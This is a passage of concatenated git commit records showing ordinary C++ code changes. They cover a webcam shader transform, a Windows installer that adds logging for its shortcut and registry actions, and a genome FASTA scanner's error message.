i++)\n\t{\n\t\tsurface_elements += surface.normal[i].getLength();\n\t}\n\tTEST_REAL_EQUAL(surface_elements, area)\nRESULT\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n<|endoftext|>"}
{"text":"<commit_before>#include \"main.hpp\"\n\n#include \"WebcamImageTransform.hpp\"\n\nvoid WebcamImageTransform::create(const graphics::ScreenRectBuffer *rectangle,\n      uint32_t input_width, uint32_t input_height,\n      uint32_t output_width, uint32_t output_height) {\n  this->rectangle = rectangle;\n  this->input_width = input_width;\n  this->input_height = input_height;\n  this->output_width = output_width;\n  this->output_height = output_height;\n\n  const auto overscan = ((float)input_width \/ input_height) \/ ((float)output_width \/ output_height);\n\n  \/\/ column-major!!!\n  transform = glm::mat3(-.95f, 0.f, 0.f,\n                        0.f, -.95f * overscan, 0.f,\n                        1.f, 1.f, 1.f);\n  inverseTransform = glm::inverse(transform);\n\n  static const char *vertexShaderSource = R\"glsl(\n    #version 330 core\n    layout(location=0) in vec2 position;\n\n    uniform mat3 transform;\n\n    out vec2 texcoord;\n\n    void main() {\n      vec2 pixelTexcoord = position * .5 + .5;\n      texcoord = vec2(transform * vec3(pixelTexcoord, 1.));\n      gl_Position = vec4(position, 0., 1.);\n    }\n  )glsl\";\n\n  static const char *fragmentShaderSource = R\"glsl(\n    #version 330 core\n    uniform sampler2D source;\n\n    uniform vec3 imageParameters;\n\n    in vec2 texcoord;\n\n    out vec4 frag_color;\n\n    const float PI = 3.14159265;\n\n    vec3 rgb2hsv(vec3 rgb) {\n      float cmin = min(rgb.r, min(rgb.g, rgb.b));\n      float cmax = max(rgb.r, max(rgb.g, rgb.b));\n      float d = cmax - cmin;\n      float eps = 0.00001;\n      if (d < eps || cmax < eps) {\n        return vec3(0, 0, cmax);\n      }\n\n      float _h;\n      if (cmax == rgb.r) {\n        _h = (rgb.g - rgb.b) \/ d;\n        if (_h < 0.) {\n          _h += 6.;\n        }\n      } else if (cmax == rgb.g) {\n        _h = ((rgb.b - rgb.r) \/ d) + 2.;\n      } else {\n        _h = ((rgb.r - rgb.g) \/ d) + 4.;\n      }\n\n      return vec3(_h * 60. * (PI \/ 180.), d \/ cmax, cmax);\n    }\n\n    vec3 hsv2rgb(vec3 hsv) {\n      \/\/ rapidtables.com\/convert\/color\/hsv-to-rgb.htm\n      float _h = hsv.x * 180. \/ PI;\n      float _c = hsv.y * hsv.z;\n      float _x = _c * (1. - abs(mod(_h \/ 60., 2.) - 1.));\n      float _m = hsv.z - _c;\n      vec3 _r;\n      if (\/* 0. <= _h && *\/ _h < 60.) {\n        _r.r = _c;\n        _r.g = _x;\n        _r.b = 0.;\n      } else if (_h < 120.) {\n        _r.r = _x;\n        _r.g = _c;\n        _r.b = 0.;\n      } else if (_h < 180.) {\n        _r.r = 0.;\n        _r.g = _c;\n        _r.b = _x;\n      } else if (_h < 240.) {\n        _r.r = 0.;\n        _r.g = _x;\n        _r.b = _c;\n      } else if (_h < 300.) {\n        _r.r = _x;\n        _r.g = 0.;\n        _r.b = _c;\n      } else \/* if (_h < 360.) *\/ {\n        _r.r = _c;\n        _r.g = 0.;\n        _r.b = _x;\n      }\n      return _r + vec3(_m);\n    }\n\n    void main() {\n      vec3 rgb = texture(source, texcoord).bgr;\n      rgb = imageParameters[0] * rgb + imageParameters[1]; \/\/ increase overall brightness\n      vec3 hsv = rgb2hsv(rgb);\n      hsv.y = hsv.y * imageParameters[2]; \/\/ increase saturation\n      rgb = clamp(hsv2rgb(hsv), 0., 1.);\n      frag_color = vec4(rgb, 0.);\n    }\n  )glsl\";\n\n  pipeline.create(vertexShaderSource, fragmentShaderSource, graphics::Pipeline::BlendMode::None);\n\n  pipeline_transform_location = pipeline.getUniformLocation(\"transform\");\n  pipeline_source_location = pipeline.getUniformLocation(\"source\");\n  pipeline_imageParameters_location = pipeline.getUniformLocation(\"imageParameters\");\n}\n\nvoid WebcamImageTransform::destroy() {\n  pipeline.destroy();\n}\n\nvoid WebcamImageTransform::draw(graphics::Texture &input, graphics::Framebuffer &output) {\n  assert(input.getWidth() == input_width);\n  assert(input.getHeight() == input_height);\n  assert(output.getWidth() == output_width);\n  assert(output.getHeight() == output_height);\n\n  output.bind();\n  glViewport(0, 0, output.getWidth(), output.getHeight());\n  pipeline.bind();\n  glUniformMatrix3fv(pipeline_transform_location, 1, GL_FALSE, &transform[0][0]);\n  input.bind(0u);\n  glUniform1i(pipeline_source_location, 0u);\n  glUniform3f(pipeline_imageParameters_location, brightnessMul, brightnessAdd, saturation);\n  rectangle->draw();\n}\n<commit_msg>Change visible webcam image area<commit_after>#include \"main.hpp\"\n\n#include \"WebcamImageTransform.hpp\"\n\nvoid WebcamImageTransform::create(const graphics::ScreenRectBuffer *rectangle,\n      uint32_t input_width, uint32_t input_height,\n      uint32_t output_width, uint32_t output_height) {\n  this->rectangle = rectangle;\n  this->input_width = input_width;\n  this->input_height = input_height;\n  this->output_width = output_width;\n  this->output_height = output_height;\n\n  const auto overscan = ((float)input_width \/ input_height) \/ ((float)output_width \/ output_height);\n\n  \/\/ column-major!!!\n  transform = glm::mat3(-.7f, 0.f, 0.f,\n                        0.f, -.7f * overscan, 0.f,\n                        1.f, .8f, 1.f);\n  inverseTransform = glm::inverse(transform);\n\n  static const char *vertexShaderSource = R\"glsl(\n    #version 330 core\n    layout(location=0) in vec2 position;\n\n    uniform mat3 transform;\n\n    out vec2 texcoord;\n\n    void main() {\n      vec2 pixelTexcoord = position * .5 + .5;\n      texcoord = vec2(transform * vec3(pixelTexcoord, 1.));\n      gl_Position = vec4(position, 0., 1.);\n    }\n  )glsl\";\n\n  static const char *fragmentShaderSource = R\"glsl(\n    #version 330 core\n    uniform sampler2D source;\n\n    uniform vec3 imageParameters;\n\n    in vec2 texcoord;\n\n    out vec4 frag_color;\n\n    const float PI = 3.14159265;\n\n    vec3 rgb2hsv(vec3 rgb) {\n      float cmin = min(rgb.r, min(rgb.g, rgb.b));\n      float cmax = max(rgb.r, max(rgb.g, rgb.b));\n      float d = cmax - cmin;\n      float eps = 0.00001;\n      if (d < eps || cmax < eps) {\n        return vec3(0, 0, cmax);\n      }\n\n      float _h;\n      if (cmax == rgb.r) {\n        _h = (rgb.g - rgb.b) \/ d;\n        if (_h < 0.) {\n          _h += 6.;\n        }\n      } else if (cmax == rgb.g) {\n        _h = ((rgb.b - rgb.r) \/ d) + 2.;\n      } else {\n        _h = ((rgb.r - rgb.g) \/ d) + 4.;\n      }\n\n      return vec3(_h * 60. * (PI \/ 180.), d \/ cmax, cmax);\n    }\n\n    vec3 hsv2rgb(vec3 hsv) {\n      \/\/ rapidtables.com\/convert\/color\/hsv-to-rgb.htm\n      float _h = hsv.x * 180. \/ PI;\n      float _c = hsv.y * hsv.z;\n      float _x = _c * (1. - abs(mod(_h \/ 60., 2.) - 1.));\n      float _m = hsv.z - _c;\n      vec3 _r;\n      if (\/* 0. <= _h && *\/ _h < 60.) {\n        _r.r = _c;\n        _r.g = _x;\n        _r.b = 0.;\n      } else if (_h < 120.) {\n        _r.r = _x;\n        _r.g = _c;\n        _r.b = 0.;\n      } else if (_h < 180.) {\n        _r.r = 0.;\n        _r.g = _c;\n        _r.b = _x;\n      } else if (_h < 240.) {\n        _r.r = 0.;\n        _r.g = _x;\n        _r.b = _c;\n      } else if (_h < 300.) {\n        _r.r = _x;\n        _r.g = 0.;\n        _r.b = _c;\n      } else \/* if (_h < 360.) *\/ {\n        _r.r = _c;\n        _r.g = 0.;\n        _r.b = _x;\n      }\n      return _r + vec3(_m);\n    }\n\n    void main() {\n      vec3 rgb = texture(source, texcoord).bgr;\n      rgb = imageParameters[0] * rgb + imageParameters[1]; \/\/ increase overall brightness\n      vec3 hsv = rgb2hsv(rgb);\n      hsv.y = hsv.y * imageParameters[2]; \/\/ increase saturation\n      rgb = clamp(hsv2rgb(hsv), 0., 1.);\n      frag_color = vec4(rgb, 0.);\n    }\n  )glsl\";\n\n  pipeline.create(vertexShaderSource, fragmentShaderSource, graphics::Pipeline::BlendMode::None);\n\n  pipeline_transform_location = pipeline.getUniformLocation(\"transform\");\n  pipeline_source_location = pipeline.getUniformLocation(\"source\");\n  pipeline_imageParameters_location = pipeline.getUniformLocation(\"imageParameters\");\n}\n\nvoid WebcamImageTransform::destroy() {\n  pipeline.destroy();\n}\n\nvoid WebcamImageTransform::draw(graphics::Texture &input, graphics::Framebuffer &output) {\n  assert(input.getWidth() == input_width);\n  assert(input.getHeight() == input_height);\n  assert(output.getWidth() == output_width);\n  assert(output.getHeight() == output_height);\n\n  output.bind();\n  glViewport(0, 0, output.getWidth(), output.getHeight());\n  pipeline.bind();\n  glUniformMatrix3fv(pipeline_transform_location, 1, GL_FALSE, &transform[0][0]);\n  input.bind(0u);\n  glUniform1i(pipeline_source_location, 0u);\n  glUniform3f(pipeline_imageParameters_location, brightnessMul, brightnessAdd, saturation);\n  rectangle->draw();\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>macro for debugging code<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>client: move all mds selection code into choose_target_mds<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>uclient: set NAME_MAX = PAGE_SIZE<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"Header.h\"\n#include \"Parameters.h\"\n#include <shlobj.h>\n#include \"FileCode.h\"\n\n\nbool OleReady;\n\nvoid ShellInit()\n{\n\tHRESULT hres = OleInitialize(NULL);\n\tOleReady = ((hres == S_FALSE) || (hres == S_OK));\n}\n\nvoid ShellDest()\n{\n\tif (OleReady)\n\t\tOleUninitialize();\n}\n\n\nbool CreateShortcut(char* Destination, char* Target, char* StartIn, char* Parameters, char* Desc)\n{\n\tif (!OleReady)\n\t\treturn false;\n\n    HRESULT hres;\n    IShellLink* psl;\n\n    \/\/ Get a pointer to the IShellLink interface.\n    hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER,\n                            IID_IShellLink, (LPVOID*)&psl);\n    if (SUCCEEDED(hres))\n    {\n        IPersistFile* ppf;\n\n        \/\/ Set the path to the shortcut target and add the description.\n        psl->SetPath(Target);\n\t\tif (Parameters != NULL) psl->SetArguments(Parameters);\n        if (Desc != NULL) psl->SetDescription(Desc);\n\t\tif (StartIn != NULL) psl->SetWorkingDirectory(StartIn);\n\n        \/\/ Query IShellLink for the IPersistFile interface for saving the\n        \/\/ shortcut in persistent storage.\n        hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);\n\n        if (SUCCEEDED(hres))\n        {\n            WCHAR wsz[MAX_PATH];\n\n            \/\/ Ensure that the string is Unicode.\n            MultiByteToWideChar(CP_ACP, 0, Destination, -1, wsz, MAX_PATH);\n\n            \/\/ Save the link by calling IPersistFile::Save.\n            hres = ppf->Save(wsz, TRUE);\n            ppf->Release();\n        }\n        psl->Release();\n    }\n    return (SUCCEEDED(hres) ? true : false);\n}\n\n\nbool GetFolder(HWND hDlg, int nFolder, char* Buffer)\n{\n\tLPITEMIDLIST idl;\n\tSHGetSpecialFolderLocation(hDlg, nFolder, &idl);\n\tif (idl == 0) return false;\n\n\tBOOL res = SHGetPathFromIDList(idl, Buffer);\n\tCoTaskMemFree(idl);\n\treturn (res != FALSE);\n}\n\n\nbool CreateDesktopShortcut(HWND hDlg, char* Folder)\n{\n\tchar Destination[MyMaxPath];\n\tif (!GetFolder(hDlg, CSIDL_DESKTOP, Destination))\n\t\treturn false;\n\n\tstrcat(Destination, \"\\\\\" ProgramName \".lnk\");\n\n\tchar Target[MyMaxPath];\n\tstrcpy(Target, Folder);\n\tstrcat(Target, \"\\\\\" PrimaryFile);\n\n\treturn CreateShortcut(Destination, Target, Folder, NULL, ProgramName \" - \" Description);\n}\n\nbool CreateStartMenuShortcut(HWND hDlg, char* Folder)\n{\n\tchar Destination[MyMaxPath];\n\tif (!GetFolder(hDlg, CSIDL_PROGRAMS, Destination))\n\t\treturn false;\n\n\tstrcat(Destination, \"\\\\\" ProgramName);\n\tif (!EnsureFolder(Destination))\n\t\treturn false;\n\n\tstrcat(Destination, \"\\\\\");\n\tchar* i = &Destination[strlen(Destination)];\n\n\tchar Target[MyMaxPath];\n\tstrcpy(Target, Folder);\n\tstrcat(Target, \"\\\\\" PrimaryFile);\n\n\tstrcpy(i, ProgramName \".lnk\");\n\tbool res = CreateShortcut(Destination, Target, Folder, NULL, ProgramName \" - \" Description);\n\n\tstrcpy(i, \"Readme.lnk\");\n\tstrcpy(&Target[strlen(Folder)+1], \"readme.htm\");\n\tres &= CreateShortcut(Destination, Target, NULL, NULL, ProgramName \" - Read Me\");\n\n\treturn res;\n}\n\n\nvoid WriteRegistry(char* Path, char* Local, char* Value)\n{\n\tHKEY hKey;\n\tRegCreateKey(HKEY_CLASSES_ROOT, Path, &hKey);\n\tif (hKey != NULL)\n\t{\n\t\tRegSetValueEx(hKey, Local, 0, REG_SZ, (BYTE*) Value, strlen(Value)+1);\n\t\tRegCloseKey(hKey);\n\t}\n}\n\nbool RegisterFiletypes(HWND hDlg, char* Folder)\n{\n#define HASKELL_HANDLER \"hugs_haskell\"\n\n\tchar Buffer[MyMaxPath];\n\tBuffer[0] = '\\\"';\n\tstrcpy(&Buffer[1], Folder);\n\tchar* FileName = &Buffer[strlen(Folder)+1];\n\tFileName[0] = '\\\\';\n\tFileName++;\n\n\t\/\/Register the two extensions\n\tWriteRegistry(\".hs\" , \"\", HASKELL_HANDLER);\n\tWriteRegistry(\".lhs\", \"\", HASKELL_HANDLER);\n\n\t\/\/Allow the user to create a template\n\tWriteRegistry(\".hs\\\\ShellNew\", \"FileName\", \"\");\n\n\n\tWriteRegistry(HASKELL_HANDLER,                 \"\", \"Haskell Script\");\n\tstrcpy(FileName, PrimaryFile \"\\\",1\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\DefaultIcon\", \"\", Buffer);\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\",       \"\", \"\");\n\n\tstrcpy(FileName, PrimaryFile \"\\\" \\\"%1\\\"\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\\\\Open\",          \"\", \"\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\\\\Open\\\\command\", \"\", Buffer);\n\n\tstrcpy(FileName, PrimaryFile \"\\\" \/edit \\\"%1\\\"\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\\\\Edit\",          \"\", \"\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\\\\Edit\\\\command\", \"\", Buffer);\n\n\treturn true;\n}\n\n\nvoid GetProgramFiles(HWND hDlg, char* Buffer)\n{\n\tchar* s = getenv(\"PROGRAMFILES\");\n\tstrcpy(Buffer, (s != NULL ? s : \"C:\\\\Program Files\"));\n}\n\n\n\nint CALLBACK BrowseCallbackProc(HWND hWnd, UINT uMsg, LPARAM lParam, LPARAM lpData)\n{\n\tswitch(uMsg)\n\t{\n\tcase BFFM_INITIALIZED:\n\t\tchar Buffer[MyMaxPath];\n\t\tGetWindowText((HWND) lpData, Buffer, MyMaxPath);\n\t\tSendMessage(hWnd, BFFM_SETSELECTION, TRUE, (LPARAM) Buffer);\n\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\n\nvoid Browse(HWND hDlg, HWND hText)\n{\n\tconst int bif_NEWDIALOGSTYLE = 0x40;\n\n\tBROWSEINFO bi;\n\tbi.hwndOwner = hDlg;\n\tbi.pidlRoot = NULL;\n\tbi.pszDisplayName = NULL;\n\tbi.lpszTitle = \"Select the installation folder for \" ProgramName;\n\tbi.ulFlags = BIF_RETURNONLYFSDIRS | bif_NEWDIALOGSTYLE;\n\tbi.lpfn = &BrowseCallbackProc;\n\tbi.lParam = (LPARAM) hText;\n\tbi.iImage = 0;\n\n\tLPITEMIDLIST idl = SHBrowseForFolder(&bi);\n\n\tif (idl != NULL)\n\t{\n\t\tchar Buffer[MyMaxPath];\n\t\tSHGetPathFromIDList(idl, Buffer);\n\t\tSetWindowText(hText, Buffer);\n\t\tCoTaskMemFree(idl);\n\t}\n}\n<commit_msg>from Neil Mitchell: adds logging for actions created using the shell, namely shortcuts and registry keys.<commit_after>#include \"Header.h\"\n#include \"Parameters.h\"\n#include <shlobj.h>\n#include \"FileCode.h\"\n#include \"InstallLog.h\"\n\n\nbool OleReady;\n\nvoid ShellInit()\n{\n\tHRESULT hres = OleInitialize(NULL);\n\tOleReady = ((hres == S_FALSE) || (hres == S_OK));\n}\n\nvoid ShellDest()\n{\n\tif (OleReady)\n\t\tOleUninitialize();\n}\n\n\nbool CreateShortcut(char* Destination, char* Target, char* StartIn, char* Parameters, char* Desc)\n{\n\tif (!OleReady)\n\t\treturn false;\n\n    HRESULT hres;\n    IShellLink* psl;\n\n    \/\/ Get a pointer to the IShellLink interface.\n    hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER,\n                            IID_IShellLink, (LPVOID*)&psl);\n    if (SUCCEEDED(hres))\n    {\n        IPersistFile* ppf;\n\n        \/\/ Set the path to the shortcut target and add the description.\n        psl->SetPath(Target);\n\t\tif (Parameters != NULL) psl->SetArguments(Parameters);\n        if (Desc != NULL) psl->SetDescription(Desc);\n\t\tif (StartIn != NULL) psl->SetWorkingDirectory(StartIn);\n\n        \/\/ Query IShellLink for the IPersistFile interface for saving the\n        \/\/ shortcut in persistent storage.\n        hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);\n\n        if (SUCCEEDED(hres))\n        {\n            WCHAR wsz[MAX_PATH];\n\n            \/\/ Ensure that the string is Unicode.\n            MultiByteToWideChar(CP_ACP, 0, Destination, -1, wsz, MAX_PATH);\n\n            \/\/ Save the link by calling IPersistFile::Save.\n            hres = ppf->Save(wsz, TRUE);\n            ppf->Release();\n        }\n        psl->Release();\n    }\n    bool Res = (SUCCEEDED(hres) ? true : false);\n\tif (Res)\n\t\tWriteInstallLog(\"FILE %s\", Destination);\n\treturn Res;\n}\n\n\nbool GetFolder(HWND hDlg, int nFolder, char* Buffer)\n{\n\tLPITEMIDLIST idl;\n\tSHGetSpecialFolderLocation(hDlg, nFolder, &idl);\n\tif (idl == 0) return false;\n\n\tBOOL res = SHGetPathFromIDList(idl, Buffer);\n\tCoTaskMemFree(idl);\n\treturn (res != FALSE);\n}\n\n\nbool CreateDesktopShortcut(HWND hDlg, char* Folder)\n{\n\tchar Destination[MyMaxPath];\n\tif (!GetFolder(hDlg, CSIDL_DESKTOP, Destination))\n\t\treturn false;\n\n\tstrcat(Destination, \"\\\\\" ProgramName \".lnk\");\n\n\tchar Target[MyMaxPath];\n\tstrcpy(Target, Folder);\n\tstrcat(Target, \"\\\\\" PrimaryFile);\n\n\treturn CreateShortcut(Destination, Target, Folder, NULL, ProgramName \" - \" Description);\n}\n\nbool CreateStartMenuShortcut(HWND hDlg, char* Folder)\n{\n\tchar Destination[MyMaxPath];\n\tif (!GetFolder(hDlg, CSIDL_PROGRAMS, Destination))\n\t\treturn false;\n\n\tstrcat(Destination, \"\\\\\" ProgramName);\n\tif (!EnsureFolder(Destination))\n\t\treturn false;\n\n\tstrcat(Destination, \"\\\\\");\n\tchar* i = &Destination[strlen(Destination)];\n\n\tchar Target[MyMaxPath];\n\tstrcpy(Target, Folder);\n\tstrcat(Target, \"\\\\\" PrimaryFile);\n\n\tstrcpy(i, ProgramName \".lnk\");\n\tbool res = CreateShortcut(Destination, Target, Folder, NULL, ProgramName \" - \" Description);\n\n\tstrcpy(i, \"Readme.lnk\");\n\tstrcpy(&Target[strlen(Folder)+1], \"readme.htm\");\n\tres &= CreateShortcut(Destination, Target, NULL, NULL, ProgramName \" - Read Me\");\n\n\treturn res;\n}\n\n\nvoid WriteRegistry(char* Path, char* Local, char* Value)\n{\n\tHKEY hKey;\n\tRegCreateKey(HKEY_CLASSES_ROOT, Path, &hKey);\n\tif (hKey != NULL)\n\t{\n\t\tRegSetValueEx(hKey, Local, 0, REG_SZ, (BYTE*) Value, strlen(Value)+1);\n\t\tRegCloseKey(hKey);\n\n\t\tWriteInstallLog(\"REG\\tHKEY_CLASSES_ROOT\\t%s\", Path);\n\t}\n}\n\nbool RegisterFiletypes(HWND hDlg, char* Folder)\n{\n#define HASKELL_HANDLER \"hugs_haskell\"\n\n\tchar Buffer[MyMaxPath];\n\tBuffer[0] = '\\\"';\n\tstrcpy(&Buffer[1], Folder);\n\tchar* FileName = &Buffer[strlen(Folder)+1];\n\tFileName[0] = '\\\\';\n\tFileName++;\n\n\t\/\/Register the two extensions\n\tWriteRegistry(\".hs\" , \"\", HASKELL_HANDLER);\n\tWriteRegistry(\".lhs\", \"\", HASKELL_HANDLER);\n\n\t\/\/Allow the user to create a template\n\tWriteRegistry(\".hs\\\\ShellNew\", \"FileName\", \"\");\n\n\n\tWriteRegistry(HASKELL_HANDLER,                 \"\", \"Haskell Script\");\n\tstrcpy(FileName, PrimaryFile \"\\\",1\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\DefaultIcon\", \"\", Buffer);\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\",       \"\", \"\");\n\n\tstrcpy(FileName, PrimaryFile \"\\\" \\\"%1\\\"\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\\\\Open\",          \"\", \"\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\\\\Open\\\\command\", \"\", Buffer);\n\n\tstrcpy(FileName, PrimaryFile \"\\\" \/edit \\\"%1\\\"\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\\\\Edit\",          \"\", \"\");\n\tWriteRegistry(HASKELL_HANDLER \"\\\\shell\\\\Edit\\\\command\", \"\", Buffer);\n\n\treturn true;\n}\n\n\nvoid GetProgramFiles(HWND hDlg, char* Buffer)\n{\n\tchar* s = getenv(\"PROGRAMFILES\");\n\tstrcpy(Buffer, (s != NULL ? s : \"C:\\\\Program Files\"));\n}\n\n\n\nint CALLBACK BrowseCallbackProc(HWND hWnd, UINT uMsg, LPARAM lParam, LPARAM lpData)\n{\n\tswitch(uMsg)\n\t{\n\tcase BFFM_INITIALIZED:\n\t\tchar Buffer[MyMaxPath];\n\t\tGetWindowText((HWND) lpData, Buffer, MyMaxPath);\n\t\tSendMessage(hWnd, BFFM_SETSELECTION, TRUE, (LPARAM) Buffer);\n\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\n\nvoid Browse(HWND hDlg, HWND hText)\n{\n\tconst int bif_NEWDIALOGSTYLE = 0x40;\n\n\tBROWSEINFO bi;\n\tbi.hwndOwner = hDlg;\n\tbi.pidlRoot = NULL;\n\tbi.pszDisplayName = NULL;\n\tbi.lpszTitle = \"Select the installation folder for \" ProgramName;\n\tbi.ulFlags = BIF_RETURNONLYFSDIRS | bif_NEWDIALOGSTYLE;\n\tbi.lpfn = &BrowseCallbackProc;\n\tbi.lParam = (LPARAM) hText;\n\tbi.iImage = 0;\n\n\tLPITEMIDLIST idl = SHBrowseForFolder(&bi);\n\n\tif (idl != NULL)\n\t{\n\t\tchar Buffer[MyMaxPath];\n\t\tSHGetPathFromIDList(idl, Buffer);\n\t\tSetWindowText(hText, Buffer);\n\t\tCoTaskMemFree(idl);\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"genomeScanFastaFiles.h\"\n#include \"ErrorWarning.h\"\n\n\nuint genomeScanFastaFiles (Parameters *P, char* G, bool flagRun) {\/\/scans fasta files. flagRun=false: check and find full size, flaRun=true: collect all the data\n\n    uint N=0;\/\/total number of bases in the genome, including chr \"spacers\"\n    if (!flagRun && P->chrLength.size()>0)\n    {\/\/previous chr records exist\n       P->chrStart.pop_back();\/\/remove last record, it will be recorded again\n       N =  P->chrStart.back()+P->chrLength.back();\n       P->chrLength.pop_back();\/\/remove last record, it will be recorded again\n    };\n\n    ifstream fileIn;\n    for (uint ii=0;ii<P->genomeFastaFiles.size();ii++) {\/\/all the input files\n        fileIn.open(P->genomeFastaFiles.at(ii).c_str());\n        if ( !fileIn.good() )\n        {\/\/\n            ostringstream errOut;\n            errOut << \"EXITING because of INPUT ERROR: could not open genomeFastaFile: \" <<P->genomeFastaFiles.at(ii) <<\"\\n\";\n            exitWithError(errOut.str(),std::cerr, P->inOut->logMain, EXIT_CODE_INPUT_FILES, *P);\n        };\n        char cc=fileIn.peek();\n        if ( !fileIn.good() )\n        {\/\/\n            ostringstream errOut;\n            errOut << \"EXITING because of INPUT ERROR: could not read from genomeFastaFile: \" <<P->genomeFastaFiles.at(ii) <<\"\\n\";\n            exitWithError(errOut.str(),std::cerr, P->inOut->logMain, EXIT_CODE_INPUT_FILES, *P);\n        };\n        if (cc!='>')\n        {\n            ostringstream errOut;\n            errOut << \"EXITING because of INPUT ERROR: the file format of the genomeFastaFile: \" <<P->genomeFastaFiles.at(ii) << \"is not fasta:\";\n            errOut << \" the first character is \" <<cc<<\" , not > .\\n\";\n            errOut << \" Solution: check formatting of the fasta file. Make sure the file is uncompressed (unzipped).\\n\";\n            exitWithError(errOut.str(),std::cerr, P->inOut->logMain, EXIT_CODE_INPUT_FILES, *P);\n        };         while(!fileIn.eof()) {\/\/read each file until eof\n            string lineIn (4096,'.');\n            getline(fileIn,lineIn);\n            if (lineIn[0]=='>') {\/\/new chromosome\n                if (!flagRun) {\n                    istringstream lineInStream (lineIn);\n                    lineInStream.ignore(1,' ');\n                    string chrName1;\n                    lineInStream >> chrName1;\n                    P->chrName.push_back(chrName1);\n                };\n\n                if (!flagRun && P->chrStart.size()>0) P->chrLength.push_back(N-P->chrStart.at(P->chrStart.size()-1)); \/\/true length of the chr\n\n                if (N>0) {\/\/pad the chromosomes to bins boudnaries\n                    N = ( (N+1)\/P->genomeChrBinNbases+1 )*P->genomeChrBinNbases;\n                };\n\n                if (!flagRun) {\n                    P->chrStart.push_back(N);\n                    P->inOut->logMain << P->genomeFastaFiles.at(ii)<<\" : chr # \" << P->chrStart.size()-1 << \"  \\\"\"<<P->chrName.at(P->chrStart.size()-1)<<\"\\\" chrStart: \"<<N<<\"\\n\"<<flush;\n                };\n            } else {\/\/char lines\n                if (flagRun) lineIn.copy(G+N,lineIn.size(),0);\n                N += lineIn.size();\n            };\n        };\n        fileIn.close();\n    };\n\n\n    if (!flagRun) P->chrLength.push_back(N-P->chrStart.at(P->chrStart.size()-1)); \/\/true length of the last chr\n\n    N = ( (N+1)\/P->genomeChrBinNbases+1)*P->genomeChrBinNbases;\n\n    if (!flagRun)\n    {\n        P->nChrReal=P->chrStart.size();\n        P->chrStart.push_back(N); \/\/last chromosome end+1\n        for (uint ii=0;ii<P->nChrReal;ii++) {\n            P->chrNameIndex[P->chrName[ii]]=ii;\n        };\n    } else\n    {\/\/convert the genome to 0,1,2,3,4\n        for (uint jj=0;jj<N;jj++) {\n            switch (int(G[jj])){\n                case(65): case(97):  G[jj]=char(0);break;\/\/A\n                case(67): case(99):  G[jj]=char(1);break;\/\/C\n                case(71): case(103): G[jj]=char(2);break;\/\/G\n                case(84): case(116): G[jj]=char(3);break;\/\/T\n                case(78): case(110): G[jj]=char(4);break;\/\/N\n                case(48):            G[jj]=GENOME_spacingChar;break;\/\/chromosomal breaks within the sequences\n                default:              \/\/anything else\n                    if (G[jj]!=GENOME_spacingChar) {\n                         \/\/P->inOut->logMain << \"Unexpected character: char=\"<< G[jj] << \"   int=\"<<int(G[jj])<<\"   at \" << jj << \" , replacing with N\\n\";\n                         G[jj]=char(4);\n                    };\n            };\n        };\n    };\n\n    return N;\n};\n\n<commit_msg>improved optics and clarity of error message<commit_after>#include \"genomeScanFastaFiles.h\"\n#include \"ErrorWarning.h\"\n\n\nuint genomeScanFastaFiles (Parameters *P, char* G, bool flagRun) {\/\/scans fasta files. flagRun=false: check and find full size, flaRun=true: collect all the data\n\n    uint N=0;\/\/total number of bases in the genome, including chr \"spacers\"\n    if (!flagRun && P->chrLength.size()>0)\n    {\/\/previous chr records exist\n       P->chrStart.pop_back();\/\/remove last record, it will be recorded again\n       N =  P->chrStart.back()+P->chrLength.back();\n       P->chrLength.pop_back();\/\/remove last record, it will be recorded again\n    };\n\n    ifstream fileIn;\n    for (uint ii=0;ii<P->genomeFastaFiles.size();ii++) {\/\/all the input files\n        fileIn.open(P->genomeFastaFiles.at(ii).c_str());\n        if ( !fileIn.good() )\n        {\/\/\n            ostringstream errOut;\n            errOut << \"EXITING because of INPUT ERROR: could not open genomeFastaFile: \" <<P->genomeFastaFiles.at(ii) <<\"\\n\";\n            exitWithError(errOut.str(),std::cerr, P->inOut->logMain, EXIT_CODE_INPUT_FILES, *P);\n        };\n        char cc=fileIn.peek();\n        if ( !fileIn.good() )\n        {\/\/\n            ostringstream errOut;\n            errOut << \"EXITING because of INPUT ERROR: could not read from genomeFastaFile: \" <<P->genomeFastaFiles.at(ii) <<\"\\n\";\n            exitWithError(errOut.str(),std::cerr, P->inOut->logMain, EXIT_CODE_INPUT_FILES, *P);\n        };\n        if (cc!='>')\n        {\n            ostringstream errOut;\n            errOut << \"EXITING because of INPUT ERROR: the file format of the genomeFastaFile: \" <<P->genomeFastaFiles.at(ii) << \" is not fasta:\";\n            errOut << \" the first character is '\" <<cc<<\"' (\"<< (cc+0) << \"), not '>'.\\n\";\n            errOut << \" Solution: check formatting of the fasta file. Make sure the file is uncompressed (unzipped).\\n\";\n            